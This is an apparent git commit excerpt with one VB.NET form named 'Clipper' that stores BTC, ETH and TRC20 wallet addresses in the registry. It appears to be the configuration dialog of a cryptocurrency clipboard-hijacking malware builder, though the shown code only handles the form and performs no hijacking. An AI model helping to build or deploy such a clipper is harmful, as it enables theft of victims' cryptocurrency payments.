initial commit

2026-08-27 11:22:34 -06:00
commit 5983c713b1
2676 changed files with 529190 additions and 0 deletions
@@ -0,0 +1,34 @@
+Public Class Clipper
+
+    Public Sub New()
+        InitializeComponent()
+        Opacity = 0
+        FadeIn(Me, 20)
+        Guna2TextBox1.Select()
+    End Sub
+
+    Private Sub Clipper_Load(sender As Object, e As EventArgs) Handles MyBase.Load
+        Try
+            If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "BTC", Nothing) = Nothing Then
+                Guna2TextBox1.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "BTC", Nothing)
+            End If
+
+            If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "ETH", Nothing) = Nothing Then
+                Guna2TextBox2.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "ETH", Nothing)
+            End If
+
+            If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "TRC20", Nothing) = Nothing Then
+                Guna2TextBox3.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "TRC20", Nothing)
+            End If
+        Catch ex As Exception
+            Debug.WriteLine(ex.Message)
+        End Try
+    End Sub
+
+    Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
+        If String.IsNullOrWhiteSpace(Guna2TextBox1.Text) Or String.IsNullOrWhiteSpace(Guna2TextBox2.Text) Or String.IsNullOrWhiteSpace(Guna2TextBox3.Text) Then
+        Else
+            DialogResult = DialogResult.OK
+        End If
+    End Sub
+End Class